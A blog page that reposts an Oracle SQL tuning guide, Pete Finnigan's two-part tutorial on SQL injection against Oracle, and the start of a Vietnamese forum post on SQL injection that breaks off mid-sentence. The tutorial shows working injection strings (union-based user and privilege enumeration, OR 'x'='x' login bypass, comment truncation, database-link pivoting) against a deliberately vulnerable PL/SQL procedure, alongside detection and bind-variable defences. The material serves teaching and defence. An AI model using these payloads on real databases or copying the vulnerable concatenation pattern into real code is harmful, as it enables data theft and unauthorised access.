Nguyen Duc Hai’s blog

Some method for tuning SQL collected:

How to Develop efficient Sql Statements-SQL Tuing

1)Verify Optimizer Statistics:
——————————————–
The query optimizer uses statistics gathered on tables and indexes when determining the optimal execution plan. If these statistics have not been gathered, or if the statistics are no longer representative of the data stored within the database, then the optimizer does not have sufficient information to generate the best plan.

So, gather statistics of all tables that are involved in SQL statements. You can check whether your statistics is up to date or not by querying
SELECT COUNT(*) FROM table_name;
and,
select NUM_ROWS from dba_tables where table_name=’TABLE_NAME’;

If they are almost same then you have correct optimizer statistics. If they don’t match then gather new statistics.

2)Review the Execution Plan:
—————————————
When tuning (or writing) a SQL statement, the goal is to drive from the table that has the most selective filter. This means that there are fewer rows passed to the next step. If the next step is a join, then this means that fewer rows are joined. Check to see whether the access paths are optimal.

We can check it by examine the optimizer execution plan following,

•The plan is such that the driving table has the best filter.

•The join order in each step means that the fewest number of rows are being returned to the next step (that is, the join order should reflect, where possible, going to the best not-yet-used filters).

•The join method is appropriate for the number of rows being returned. For example, nested loop joins through indexes may not be optimal when many rows are being returned.

•Views are used efficiently. Look at the SELECT list to see whether access to the view is necessary.

•There are any unintentional Cartesian products (even with small tables).

•Each table is being accessed efficiently:

-Consider the predicates in the SQL statement and the number of rows in the table. Look for suspicious activity, such as a full table scans on tables with large number of rows, which have predicates in the where clause. Determine why an index is not used for such a selective predicate.

-A full table scan does not mean inefficiency. It might be more efficient to perform a full table scan on a small table, or to perform a full table scan to leverage a better join method (for example, hash_join) for the number of rows returned.

If any of these conditions are not optimal, then consider restructuring the SQL statement or the indexes available on the tables.

3)Restructuring the SQL Statements
———————————————-
Often, rewriting an inefficient SQL statement is easier than modifying it. If you understand the purpose of a given statement, then you might be able to quickly and easily write a new statement that meets the requirement.

While restructuring the SQL statements keep in mind of the following issues.

•Use equijoins whenever possible.
That is compose predicate using AND and =.

•Avoid Transformed Columns in the WHERE Clause.
That is use
a=b instead of to_number(a)=to_number(b)

When you need to use SQL functions on filters or join predicates, do not use them on the columns on which you want to have an index; rather, use them on the opposite side of the predicate, as in the following statement; if you have index on varcol

TO_CHAR(numcol) = varcol

rather than

varcol = TO_CHAR(numcol)

•Write Separate SQL Statements for Specific Tasks.
SQL is not a procedural language. Using one piece of SQL to do many different things usually results in a less-than-optimal result for each task. If you want SQL to accomplish different things, then write various statements, rather than writing one statement to do different things depending on the parameters you give it.

It is always better to write separate SQL statements for different tasks, but if you must use one SQL statement, then you can make a very complex statement slightly less complex by using the UNION ALL operator.

•Use of EXISTS versus IN for Subqueries.
In certain circumstances, it is better to use IN rather than EXISTS. In general, if the selective predicate is in the subquery, then use IN. If the selective predicate is in the parent query, then use EXISTS.

4)Controlling the Access Path and Join Order with Hints
————————————————————————————–
You can use hints in SQL statements to instruct the optimizer about how the statement should be executed. Hints, such as /*+FULL */ control access paths.

Join order can have a significant effect on performance. The main objective of SQL tuning is to avoid performing unnecessary work to access rows that do not affect the result. This leads to three general rules:

•Avoid a full-table scan if it is more efficient to get the required rows through an index.

•Avoid using an index that fetches 10,000 rows from the driving table if you could instead use another index that fetches 100 rows.

•Choose the join order so as to join fewer rows to tables later in the join order.

•Be careful when joining views, when performing outer joins to views, and when reusing an existing view for a new purpose.

•Joins to complex views are not recommended, particularly joins from one complex view to another. Often this results in the entire view being instantiated, and then the query is run against the view data.

•Beware of writing a view for one purpose and then using it for other purposes to which it might be ill-suited. Querying from a view requires all tables from the view to be accessed for the data to be returned. Before reusing a view, determine whether all tables in the view need to be accessed to return the data. If not, then do not use the view. Instead, use the base table(s), or if necessary, define a new view. The goal is to refer to the minimum number of tables and views necessary to return the required data.

•An outer join within a view is problematic because the performance implications of the outer join are not visible.

•Consider using materialized views.

5)Restructuring the Indexes
———————————————–
Often, there is a beneficial impact on performance by restructuring indexes. This can involve the following:

Remove nonselective indexes to speed the DML.
Index performance-critical access paths.
Consider reordering columns in existing concatenated indexes.
Add columns to the index to improve selectivity.

6)Modifying or Disabling Triggers and Constraints
———————————————————–
Using triggers consumes system resources. If you use too many triggers, then you can find that performance is adversely affected and you might need to modify or disable them.

7)Restructuring the Data
—————————————–
After restructuring the indexes and the statement, you can consider restructuring the data.

Introduce derived values. Avoid GROUP BY in response-critical code.

Review your data design. Change the design of your system if it can improve performance.

Consider partitioning, if appropriate.

8)Combine Multiples Scans with CASE Statements
———————————————————–
Often, it is necessary to calculate different aggregates on various sets of tables. Usually, this is done with multiple scans on the table, but it is easy to calculate all the aggregates with one single scan. Eliminating n-1 scans can greatly improve performance.

9)Maintaining Execution Plans Over Time
——————————————————-
You can maintain the existing execution plan of SQL statements over time either using stored statistics or stored SQL execution plans. Storing optimizer statistics for tables will apply to all SQL statements that refer to those tables. Storing an execution plan (that is, plan stability) maintains the plan for a single SQL statement. If both statistics and a stored plan are available for a SQL statement, then the optimizer uses the stored plan.

This is the second part of a two-part article that will examine SQL injection attacks against Oracle databases. The first installment offered an overview of SQL injection and looked at how Oracle database applications are vulnerable to this attack, and looked at some examples. This segment will look at enumerating the privileges, detecting SQL injection attacks, and protecting against SQL injection.

Enumerating the Privileges

Access to SQL inject an Oracle database is great, but what would an attacker look for to gain an advantage or a potential step up. He would, of course, need to enumerate the user he had access to and see what that user can see and do. I will show a few examples here to give the reader an idea of what is possible.

In this example, we are logged in as the user dbsnmp and the get_cust procedure has been modified to select three columns from our sample table. If we use a union to extend an existing select statement then the new SQL in the union must select the same number of columns and data types as the existing hijacked select otherwise an error occurs, see the following:

SQL> exec get_cust('x'' union select 1,''Y'' from sys.dual where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select 1,'Y' from sys.dual where 'x'='x'
-1789ORA-01789: query block has incorrect number of result columns

The main select has three varchar columns but we select two columns and one is a number; as a result, an error occurs. Back to enumeration, first get the objects that the user we are logged in as can see:

SQL> exec get_cust('x'' union select object_name,object_type,''x'' from user_obj
ects where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select object_name,object_type,'x' from
user_objects where 'x'='x'
::CUSTOMERS:TABLE:x
::DBA_DATA_FILES:SYNONYM:x
::DBA_FREE_SPACE:SYNONYM:x
::DBA_SEGMENTS:SYNONYM:x
::DBA_TABLESPACES:SYNONYM:x
::GET_CUST:PROCEDURE:x
::GET_CUST2:PROCEDURE:x
::GET_CUST_BIND:PROCEDURE:x
::PLSQ:DATABASE LINK:x

Then get the roles that have been allocated directly to the user:

SQL> exec get_cust('x'' union select granted_role,admin_option,default_role from
 user_role_privs where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select granted_role,admin_option,default_role
from user_role_privs where 'x'='x'
::CONNECT:NO:YES
::RESOURCE:NO:YES
::SNMPAGENT:NO:YES

Then find out the system privileges that are granted directly to the user:

SQL> exec get_cust('x'' union select privilege,admin_option,''X'' from user_sys_
privs where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select privilege,admin_option,'X' from
user_sys_privs where 'x'='x'
::CREATE PUBLIC SYNONYM:NO:X
::UNLIMITED TABLESPACE:NO:X

Selecting from the table USER_TAB_PRIVS will give the privileges granted directly to the user on objects. There are many system views that start USER_%, these show objects and privileges that are granted to the current user as well as details about objects owned by the user. For instance, there are 168 views or tables in Oracle 8.1.7, so this gives an indication of the amount of detail that can be learned about the user you are logged in as. These USER_% views do not include all the many privileges and options available to the current user; however, besides those specifically granted, any user also can include all of the objects that have permissions granted to PUBLIC.

PUBLIC is a catch-all that is available to all users in the Oracle database. There is a good set of views, known as the ALL_% views, that is similar in construction to the USER_% views. These include every item available to the current user, including PUBLIC ones. A good place to start is the view ALL_OBJECTS, as it has a similar structure to USER_OBJECTS and will display every object and its type available to the current user. A good query to see all of the objects, their types and owner available would be:

select count(*),object_type,owner
from all_objects
group by object_type,owner

The V$ views is also a good set of views, provided they are available to the user. These give information about the current instance, performance, parameters, and the like. V$PARAMETER, which gives all of the database instance initialization parameters, including details of the UTL_FILE directories is a good example. V$PROCESS and V$SESSION are another pair of views that will give details of current sessions and processes. These will tell the user who is logged on, where they are logged in from, and what program they are using, etc.

In conclusion to this exploration section it is worth mentioning that because I wanted to make easy examples that anyone with a copy of the Oracle RDBMS could try out, I used a PL/SQL procedure to demonstrate the techniques and obviously I had access to my source code. It made it easy for me to understand exactly the SQL I could send successfully without causing errors.

In the real world, in a Web-based environment, or in a network-based application, the source code would probably not be available. As a result, working out how to get successful SQL to send will probably require trial and error. If error messages are returned to the user either directly from the Oracle RDBMS or from the application, then it is usually possible to work out where to change the SQL. An absence of error messages makes it harder but not impossible. All of the Oracle error messages are quite well documented and are available on-line on a Unix system with the oerr command or with the HTML documentation provided with Oracle CDs on any platform. (Remember anyone can get a copy of Oracle to use to learn the product.) They are also on-line, along with the complete Oracle documentation, at http://tahiti.oracle.com/.

Having knowledge of Oracle and of the schema of the user being used is also a great advantage. Quite obviously, some of this knowledge is not hard to learn, so the lesson is that in case anyone is able to SQL inject into your database then you need to minimize what they can do, see, or access.

Detecting SQL Injection

Oracle is a large product and is applied in many diverse uses, so to say that SQL injection can be detected would be wrong; however, in some cases, it should be possible for the DBA or security admin to spot whether or not this technique is being used. If abuse is thought to be taking place then forensic investigations can be done using the redo logs. A GUI tool called Log Miner is available from Oracle to allow the redo logs to be analysed. However, this has serious restrictions: until version 9i, select statements could not be retrieved. The redo logs allow Oracle to replay all of the events that altered data in the database, this is part of the recovery functionality. It is possible to see all statements and data that has been altered. Two PL/SQL standard packages, DBMS_LOGMNR and DBMS_LOGMNR_D, are available, these packages allow the redo logs to be queried from the command line for all statements processed.

The extensive Oracle audit functionality can be utilized but, again, unless you know what you are looking for, finding evidence of SQL injection taking place could like finding a needle in a haystack. The principle of least privilege should be observed in any Oracle database so that only those privileges that are actually needed are granted to the application database users. This simplifies (minimizes) what can be legally done and, as a result, makes any actions outside the scope of these users easier to spot. For instance, if the application user should have access to seven tables and three procedures and nothing else, then using Oracle audit to record select failures on all other tables would enable an administrator to spot any attempted access to any table outside the applications realm. This can be done, for example, for one table with the following audit command:

SQL> audit select on dbsnmp.customers by access whenever not successful;

Audit succeeded.

A simple script can be built to generate the audit statements for the tables needed. There should be no real performance issues with this audit, as no other tables should be accessed by the application. As a result, it should not therefore generate audit. Of course, if someone successfully accesses a table outside the realm, it would not be captured. This is merely intended as a first step.

The same audit principles can be used to audit DDL, inserts and update failures or successes. The new SANS guide (see references) has a whole chapter on audit.

Another idea could be to watch the SQL executed and look for any dodgy SQL. A good script called peep.sq can be used to access the SQL executed from the SGA is one called from http://www.oriole.com/frameindexSA.html, search down the list of free scripts and get it. The script gives the SQL statements in the SGA with the worst performance times. It can be easily modified to remove the execution time restraints and bring back all SQL in the SGA. A script such as this can be scheduled on a regular basis and then the SQL that is returned can be used to guess if any SQL injection has been attempted. I say “guess” because it is virtually impossible to know all legal pieces of SQL an application generates; therefore, the same applies to spotting illegal ones. A good first step would be to identify all statements with “union” included or or statements with ‘x’=’x’ type lines. There could be performance issues with extracting all of the SQL from the SGA regularly!

The best cure of course is prevention!

Protecting against SQL Injection

On the surface, protection against SQL injection appears to be easy to implement but, in fact, it is not as easy as it looks. The solutions fall into two distinct areas:

• Do not allow dynamic SQL that uses concatenation, or at least filter the input values and check for special characters such as quote symbols.
• Use the principle of least privilege and ensure that the users created for the applications have the privileges needed and all extra privileges (such as PUBLIC ones) are not available.

This section cannot go into great detail; such a discussion would constitute an entire article in itself. However, certain basic measures can be taken. These actions fall into two sections:

• Review the application source code. The code can be written in many different languages, such as PHP, JSP, java, PL/SQL VB, etc., so the solutions vary. However, they all follow a similar pattern. Review the source code for dynamic SQL where concatenation is used. Find the call that parses the SQL or executes it. Check back to where values are entered. Ensure that input values are validated and that quotes are matched and metacharacters are checked. Reviewing source code is a task that is specific to the language used.
• Secure the database and ensure that all excess privileges are revoked.

Some other simple tips to follow include:

• If possible, do not use dynamic PL/SQL. The potential for damage is much greater than for dynamic SQL, as then there is scope to execute any SQL, DDL, PL/SQL etc.
• If dynamic PL/SQL is necessary then use bind variables.
• If PL/SQL is used use AUTHID CURRENT_USER so that the PL/SQL runs as the logged in user and not the creator of the procedure, function or package.
• If concatenation is necessary then use numeric values for the concatenation part. This way strings cannot be passed in to add SQL.
• If concatenation is necessary then check the input for malicious code, i.e. check for union in the string passed in or metacharacters such as quotes.
• For dynamic SQL if it is necessary use bind variables. An example is shown below:

We first need to alter our simple procedure to allow the dynamic part passed in to use a bind variable. This is shown here:

create or replace procedure get_cust_bind (lv_surname in varchar2)
is
        type cv_typ is ref cursor;
        cv cv_typ;
        lv_phone        customers.customer_phone%type;
        lv_stmt         varchar2(32767):='select customer_phone '||
                                'from customers '||
                                'where customer_surname=:surname';
begin
        dbms_output.put_line('debug:'||lv_stmt);
        open cv for lv_stmt using lv_surname;
        loop
                fetch cv into lv_phone;
                exit when cv%notfound;
                dbms_output.put_line('::'||lv_phone);
        end loop;
        close cv;
exception
        when others then
                dbms_output.put_line(sqlcode||sqlerrm);
end get_cust_bind;
/

First we execute with a genuine value, in this case “Clark”, to show that the correct records are returned. We then we try to SQL inject this procedure and find it doesn’t work:

SQL> exec get_cust_bind('Clark');
debug:select customer_phone from customers where customer_surname=:surname
::999444888
::999777888

PL/SQL procedure successfully completed.

SQL> exec get_cust_bind('x'' union select username from all_users where ''x''=''
x');
debug:select customer_phone from customers where customer_surname=:surname

Some more pointers:

• Encrypt sensitive data so that it cannot be viewed.
• Revoke all PUBLIC privileges where possible from the database
• Do not allow access to UTL_FILE, DBMS_LOB, DBMS_PIPE, DBMS_OUTPUT, UTL_HTTP,UTL_SMTP or any other standard or application packages that allow access to the O/S.
• Change database default passwords.
• Run the listener as a non-privileged user.
• Ensure that minimum privileges are granted to application users.
• Restrict PL/SQL packages that can be accessed from apache.
• Remove all example scripts and programs from the Oracle install.

Final thoughts

I hope that this article has given an overview of some of the possibilities of SQL injecting Oracle and done so with simple examples that most readers can try. Again, SQL injection is a relatively simple technique and on the surface protecting against it should be fairly simple; however, auditing all of the source code and protecting dynamic input is not trivial, neither is reducing the permissions of all applications users in the database itself. Be vigilant, grant what is needed, and try and reduce dynamic SQL to the minimum.

SQL Injection and Oracle, Part One
Pete Finnigan 2002-11-21

SQL Injection and Oracle, Part One by Pete Finnigan last updated November 21, 2002

SQL injection techniques are an increasingly dangerous threat to the security of information stored upon Oracle Databases. These techniques are being discussed with greater regularity on security mailing lists, forums, and at conferences. There have been many good papers written about SQL Injection and a few about the security of Oracle databases and software but not many that focus on SQL injection and Oracle software. This is the first article in a two-part series that will examine SQL injection attacks against Oracle databases. The objective of this series is to introduce Oracle users to some of the dangers of SQL injection and to suggest some simple ways of protecting against these types of attack. Oracle is a huge product and SQL injection can be applied to many of its modules, languages and APIs, so this paper is intended to be an overview or introduction to the subject. This two-part series is not intended as a detailed treatise of how to SQL inject an Oracle database, nor is it intended as a detailed discussion on the finer points of the technique in general. (Details of SQL injection techniques have been covered admirably in the past for other languages and databases, particularly by Rain Forest Puppy who pioneered the subject. Some of these papers are included in the reference section at the end of this paper.) Rather, I have designed this paper so that as many readers as possible can try out the examples. To achieve this I have used a PL/SQL procedure that uses dynamic SQL to demonstrate the techniques of SQL injection from the ubiquitous SQL*Plus. Prior to commencing our discussion, it may be useful for readers to know that all of the code from this paper is available from the author’s Web site at http://www.petefinnigan.com from the scripts menu – SQL and PL/SQL option.. What is SQL Injection SQL Injection is a way to attack the data in a database through a firewall protecting it. It is a method by which the parameters of a Web-based application are modified in order to change the SQL statements that are passed to a database to return data. For example, by adding a single quote (‘) to the parameters, it is possible to cause a second query to be executed with the first. An attack against a database using SQL Injection could be motivated by two primary objectives: To steal data from a database from which the data should not normally be available, or to obtain system configuration data that would allow an attack profile to be built. One example of the latter would be obtaining all of the database password hashes so that passwords can be brute-forced. To gain access to an organisation’s host computers via the machine hosting the database. This can be done using package procedures and 3GL language extensions that allow O/S access. There are many ways to use this technique on an Oracle system. This depends upon the language used or the API. The following are some languages, APIs and tools that can access an Oracle database and be part of a Web-based application. JSP ASP XML, XSL and XSQL Javascript VB, MFC, and other ODBC-based tools and APIs Portal, the older WebDB, and other Oracle Web-based applications and API’s Reports, discoverer, Oracle Applications 3- and 4GL-based languages such as C, OCI, Pro*C, and COBOL Perl and CGI scripts that access Oracle databases many more. Any of the above applications, tools, and products could be used as a base from which to SQL inject an Oracle database. A few simple preconditions need to be in place first though. First and foremost amongst these is that dynamic SQL must be used in the application, tool, or product, otherwise SQL Injection is not possible. The final important point not usually mentioned in discussions about SQL injection against any database including Oracle is that SQL injection is not just a Web-based problem. As is implied in the preceding paragraph, any application that allows a user to enter data that may eventually end up being executed as a piece of dynamic SQL can potentially be SQL injected. Of course, Web-based applications present the greatest risk, as anyone with a browser and an Internet connection can potentially access data they should not. While second article of this series will include a much more in-depth discussion of how to protect against SQL injection attacks, there are a couple of brief notes that should be mentioned in this introductory section. Data held in Oracle databases should be protected from employees and others who have network access to applications that maintain that data. Those employees could be malicious or may simply want to read data they are not authorized to read. Readers should keep in mind that most threats to data held within databases come from authorized users. Protecting against SQL Injection on Oracle-based systems is simple in principle and includes two basic stages. These are: Audit the application code and change or remove the problems that allow injection to take place. (These problems will be discussed at greater length in the second part of this series.) Enforce the principle of least privilege at the database level so that even if someone is able to SQL inject an application to steal data, they cannot see anymore data than the designer intended through any normal application interface. The “Protection” section, which will be included in the second part of this series, will discuss details of how to apply some of these ideas specifically to Oracle-based applications. How Can Oracle be Abused Oracle is like any other database product and, as a result, is vulnerable to SQL injection attacks. While Oracle fairs slightly better than some of the others, the following abuses can be inflicted on an Oracle database: UNIONS can be added to an existing statement to execute a second statement; SUBSELECTS can be added to existing statements; Existing SQL can be short-circuited to bring back all data. This technique is often used to gain access via third party-implemented authentication schemes; A large selection of installed packages and procedures are available, these include packages to read and write O/S files; Data Definition Language (DDL) can be injected if DDL is used in a dynamic SQL string; INSERTS, UPDATES and DELETES can also be injected; and, Other databases can be injected through the first by using database links. On the other hand, the following abuses are not possible: Multiple statements are not allowed; and, It is also not possible to SQL inject a call that uses bind variables; this is therefore a good solution to most of the SQL injection issues. Some Specific Examples Web-based applications constitute the worst threat of SQL injection. These can be written using JSP, ASP, or many of the other languages listed above. Some would argue that SQL injection is only an issue for Web-based applications and at this time this is probably true, as SQL injection is not a particularly well-established threat, especially with Oracle. To illustrate some of the possibilities of SQL injection on Oracle, I have written a simple PL/SQL procedure that displays the phone number of customers from a hypothetical customer table in a database. As stated in the introduction, it is possible to inject into any piece of SQL that is dynamically built at run time where the input data is not filtered or checked, so it is possible to demonstrate SQL injection using PL/SQL and the ubiquitous tool SQL*Plus. The procedure uses native dynamic SQL to pass a run-time piece of SQL to the database. I decided to use PL/SQL and SQL*Plus so that any reader having access to Oracle can try out the samples, as no special tools are required other than to have an Oracle database greater than 8i installed. Using a PL/SQL procedure and dynamic SQL is identical in all respects to Web-based SQL injection except that it is local and not remote, readers should bear this in mind while reading through this paper. Also, because of this approach we do not use any character encoding techniques to pass special characters or metacharacters to the database server from a Web browser. The example table structure used is: SQL> desc customers Name Null? Type ----------------------------------------- -------- ---------------------------- CUSTOMER_FORNAME VARCHAR2(30) CUSTOMER_SURNAME VARCHAR2(30) CUSTOMER_PHONE VARCHAR2(30) CUSTOMER_FAX VARCHAR2(30) CUSTOMER_TYPE NUMBER(10) The table has been loaded with three records as follows: SQL> select * from customers; CUSTOMER_FORNAME CUSTOMER_SURNAME ------------------------------ ------------------------------ CUSTOMER_PHONE CUSTOMER_FAX CUSTOMER_TYPE ------------------------------ ------------------------------ ------------- Fred Clark 999444888 999444889 3 Bill Jones 999555888 999555889 2 Jim Clark 999777888 999777889 1 The sample procedure used is created with the following code. For these tests I have used the default user DBSNMP, who has many privileges that are not necessary for a general user. This user illustrates the problem of Web-based users being limited to least privilege: create or replace procedure get_cust (lv_surname in varchar2) is type cv_typ is ref cursor; cv cv_typ; lv_phone customers.customer_phone%type; lv_stmt varchar2(32767):='select customer_phone '|| 'from customers '|| 'where customer_surname='''|| lv_surname||''''; begin dbms_output.put_line('debug:'||lv_stmt); open cv for lv_stmt; loop fetch cv into lv_phone; exit when cv%notfound; dbms_output.put_line('::'||lv_phone); end loop; close cv; end get_cust; / It is not possible to simply add another statement onto an existing statement built by the procedure for execution as it is with some other databases, such as MS databases. The following illustrates this with our sample procedure: SQL> exec get_cust('x'' select username from all_users where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' select username from all_users where 'x'='x' -933ORA-00933: SQL command not properly ended The procedure expects a surname of a customer and should build a statement of the form: select customer_phone from customers where customer_surname='Jones' As can be seen, it is possible to add extra SQL after the name by escaping out of the SQL statement by using quotes and adding in the extra SQL. The preceding example shows that an Oracle error is returned if we try and send two statements at once to the RDBMS. Statements in Oracle tools and languages are delimited by semicolons (;) so we can try that next: SQL> exec get_cust('x'';select username from all_users where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x';select username from all_users where 'x'='x' -911ORA-00911: invalid character Again this doesn’t work, as another Oracle error code is returned. Adding a semicolon after the first statement will not allow a second statement to be executed, so the only way to get Oracle to execute extra SQL is to either extend the existing where clause or to use a union or a subselect. The next example shows how to get extra data from another table. In this case, we will read a list of users in the database from the dictionary view ALL_USERS. SQL> exec get_cust('x'' union select username from all_users where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' union select username from all_users where 'x'='x' ::AURORA$JIS$UTILITY$ ::AURORA$ORB$UNAUTHENTICATED ::CTXSYS ::DBSNMP ::MDSYS ::ORDPLUGINS ::ORDSYS ::OSE$HTTP$ADMIN ::OUTLN ::SYS ::SYSTEM ::TRACESVR The example works! We can also use subqueries to extend an existing select statement. These are less useful, as they cannot alter the existing select list used to add new columns from other tables; however, they can be used to alter which records are returned by the existing query. An example is shown to return all of the records in the table: SQL> exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' or exists (select 1 from sys.dual) and 'x'='x' ::999444888 ::999555888 ::999777888 The extra “and ‘x’=’x’” is needed to close the original quote expected in the SQL string in the procedure. The above example returns all of the records in our sample table. This is a simple example and the technique can be used more creatively than in this instance. The next example discusses truncating the rest of a where clause so that all of the records in the table are returned. The classic use of this is the case where the Web application writers have implemented authentication and the method of logging in is to find a valid record in the users table where the username and password match. Such an example could be: select * from appusers where username=’someuser’ and password=’somecleverpassword’ To truncate this behaviour we can make the SQL return all of the records in the table; this usually allows a login to occur. Usually this will return the administrator record first!! Here is an example of truncation with our sample table of customers. All of the records can be returned by using an “OR ‘x’=’x’” in the where clause as follows: SQL> exec get_cust('x'' or ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' or 'x'='x' ::999444888 ::999555888 ::999777888 Next, the procedure has been modified to extend the SQL used so that there is a second part of the where clause to truncate. Here is the modified procedure first: create or replace procedure get_cust2 (lv_surname in varchar2) is type cv_typ is ref cursor; cv cv_typ; lv_phone customers.customer_phone%type; lv_stmt varchar2(32767):='select customer_phone '|| 'from customers '|| 'where customer_surname='''|| lv_surname||''' and customer_type=1'; begin dbms_output.put_line('debug:'||lv_stmt); open cv for lv_stmt; loop fetch cv into lv_phone; exit when cv%notfound; dbms_output.put_line('::'||lv_phone); end loop; close cv; exception when others then dbms_output.put_line(sqlcode||sqlerrm); end get_cust2; This is to demonstrate the use of the “- -“ comment characters to truncate the end of a where clause. This technique is useful where an application screen has more than one entry field that is added to the dynamic SQL and passed to the database. To simplify adding extra SQL to get around all of the fields we can add a “- -“ in what we think is the first field on the screen and first add the SQL we need. The following demonstrates this: SQL> exec get_cust2('x'' or ''x''=''x'' --'); debug:select customer_phone from customers where customer_surname='x' or 'x'='x' --' and customer_type=1 ::999444888 ::999555888 ::999777888 Running this, we can see that all three records are returned due to the “or” statement. If the comment wasn’t there, we would still include the line “and customer_type=1”. Another example on the same theme allows us to use the union and the select on the table all_users as above and then comment out the rest of the where clause. All of the above examples show select statements being injected with extra SQL. The same principles also apply to insert statements, update statements and delete statements. Other statements available in Oracle include DDL (Data Definition Language) statements, which are statements to alter the schema or database instance. Examples include creating tables or indexes or altering the language set used. Statements cannot generally be mixed because, as was illustrated above, we cannot just send two statements to the RDBMS at the same time, so if a select statement is the only one available we cannot just add a delete or insert to it. Often applications include a way to send any SQL to the server. This is bad programming practice, as it allows statements such as DDL to be executed. It can be argued that this case is not SQL injection because any SQL can be executed, therefore you do not need to alter an existing piece! The final piece of the puzzle to talk about is packages, procedures and functions. It is possible to call PL/SQL functions from SQL statements. The rules vary slightly with each version of Oracle and indeed it was not possible to do so until PL/SQL version 2.1, which came with Oracle RDBMS version 7.1. There are literally thousands of built-in functions and procedures provided with the standard packages. These generally start with DBMS or UTL. The headers can be found in $ORACLE_HOME/rdbms/admin or a list of packages procedures or functions can be obtained by querying the database as follows: SQL> col owner for a15 SQL> col object_type for a30 SQL> col object_name for a30 SQL> select owner,object_type,object_name 2 from dba_objects 3 where object_type in('PACKAGE','FUNCTION','PROCEDURE'); OWNER OBJECT_TYPE OBJECT_NAME --------------- ------------------------------ ------------------------------ SYS FUNCTION CLIENT_IP_ADDRESS SYS FUNCTION DATABASE_NAME SYS FUNCTION DBJ_LONG_NAME SYS FUNCTION DBJ_SHORT_NAME SYS PACKAGE DBMSOBJG … CTXSYS PACKAGE DR_DEF CTXSYS PROCEDURE SYNCRN 391 rows selected. Here is an example that calls a built in function supplied with Oracle. The function (SYS.LOGIN_USER) in this case is quite simple and just returns the logged-in user, but it illustrates the principle. SQL> exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' union select sys.login_user from sys.dual where 'x'='x' ::DBSNMP The functions or procedures that can be called from SQL are quite limited: the function must not alter the database state or package state if called remotely, and the function cannot alter package variables if it is called in a where clause or group by clause. In versions earlier than Oracle 8, very few built-in functions or procedures can be called from a PL/SQL function that is called in SQL statements. The restrictions have been lifted somewhat from Oracle 8, but users should not expect to be able to call file or output type packages such as UTL_FILE or DBMS_OUTPUT or DBMS_LOB directly from SQL statements, as they must be executed in a PL/SQL block or called by the execute command from SQL*Plus. It is possible to use many of these procedures if they are part of a function that is written to be called from SQL. To SQL inject and use PL/SQL packages, procedure or functions really requires a case of dynamic PL/SQL. If a form or application builds and executes dynamic PL/SQL in the same manner as described above, the same techniques can be used to insert calls to standard PL/SQL packages on any PL/SQL packages or functions that exist in the schema. If any database links exist from the database being attacked to any other database in the organisation, those links can also be utilized in SQL injection attempts. This allows an attack through the firewall to a database that is potentially not even accessible from the Internet! Here is a simple example using our PL/SQL procedure to read the system date from another database on my network. SQL> exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x'); debug:select customer_phone from customers where customer_surname='x' union select to_char(sysdate) from sys.dual@plsq where 'x'='x' ::13-NOV-02 Conclusion This concludes the first instalment in our two-part series on SQL injection and Oracle database software. This article has offered a brief overview of SQL injection, as well as some examples of how this technique may be employed against Oracle software. The next part will cover detecting SQL injection and protecting against SQL injection. Pete Finnigan is a freelance consultant specialising in Oracle and security of Oracle. Pete is currently working in the UK financial sector and has recently completed the new Oracle security step-by-step guide for the SANS institute. Pete has many years of development and administration experience in many languages. Pete is regarded as one of the worlds leading experts on Oracle security. Watch for the forthcoming book The SANS Institute Oracle Security Step-by-step – A survival guide for Oracle security written by Pete Finnigan with consensus achieved by experts from over 53 organizations with over 230 years of Oracle and security experience. Due to be published in the next few weeks by the SANS Institute.

Relevant Links All of the code from this paper is available from the author’s Web site from the scripts menu – SQL and PL/SQL option.<!– www.petefinnigan.com Protecting Oracle Databases Whitepaper Aaron Newman, Application Security Inc Hackproofing Oracle Application Servers David Litchfield, NGSSoftware Insight Security Research Rain Forest Puppy RFPlutonium to fuel your PHP-Nuke Rain Forest Puppy NT Web Technologies Vulnerabilities Rain Forest Puppy ——————–More———————— Bài này sưu tầm từ http://k49c.net/forum/ Hầu hết các chương trình ứng dụng web mới đều dựa trên cấu trúc dữ liệu động để để đạt được tính hấp dẫn của các chương trình desktop cổ điển. Cơ chế động này đạt được bằng cách thu thập dữ liệu từ 1 database. Một trong những nền database phổ biến hơn cả trong các ứng dụng e-shop là SQL. Rất nhiều các ứng dụng web chỉ dựa hoàn toàn vào những scripts ở đầu vào ( phía người dùng – client ), những đoạn scripts này chỉ đơn giản là truy vấn 1 SQL database nằm ở ngay trên webserver hay nằm trên 1 hệ thống đầu cuối ( phía server ) riêng biệt. Một trong những cách tấn công khó bị nhận thấy và nguy hiểm nhất lên 1 ứng dụng web bao gồm việc chiếm đoạt những chuỗi truy vấn được dùng bởi các scripts, để đoạt quyền điểu khiển ứng dụng đó hoặc các dữ liệu của nó. Một trong những cơ chế hiệu quả nhất để đạt được điều đó là một kỹ thuật gọi là SQL injection ( kỹ thuật chèn những câu lệnh SQL ) Cơ sở dữ liệu là trái tim của một website thương mại. Một cuộc tấn công vào server lưu giữ CSDL có thể gây ra thất thoát lớn về tài chính cho công ty. Thông thường CSDL bị hack để lấy các thông tin về thẻ tín dụng. Chỉ cần một cuộc tấn công sẽ làm giảm uy tín và lượng khách hàng bởi vì họ muốn thông tin về CC của mình được an toàn. Hầu hết các website thương mại dùng Microsoft SQL (MSSql) và Oracle. MSSQL vẫn đang chiếm ưu thế trên thị trường vì giá thành rẻ. Trong khi Oracle server được bán mắc hơn. Oracle đã từng tuyên bố là “không thể xâm nhập được”, nhưng những hacker coi đó như là 1 lời thách thức và đã tìm ra rất nhiều lỗi trong Oracle server.. Bài viết được chia làm 2 phần 1. Dùng HTTP cổng 80 2. Dùng MS SQL cổng 1434 Phần 1 – Dùng cổng 80 HTTP —————————————————————- Kiến thức trong phần này hữu ích không chỉ đối với các hacker mà còn với những người thiết kế web. Chỉ cần một 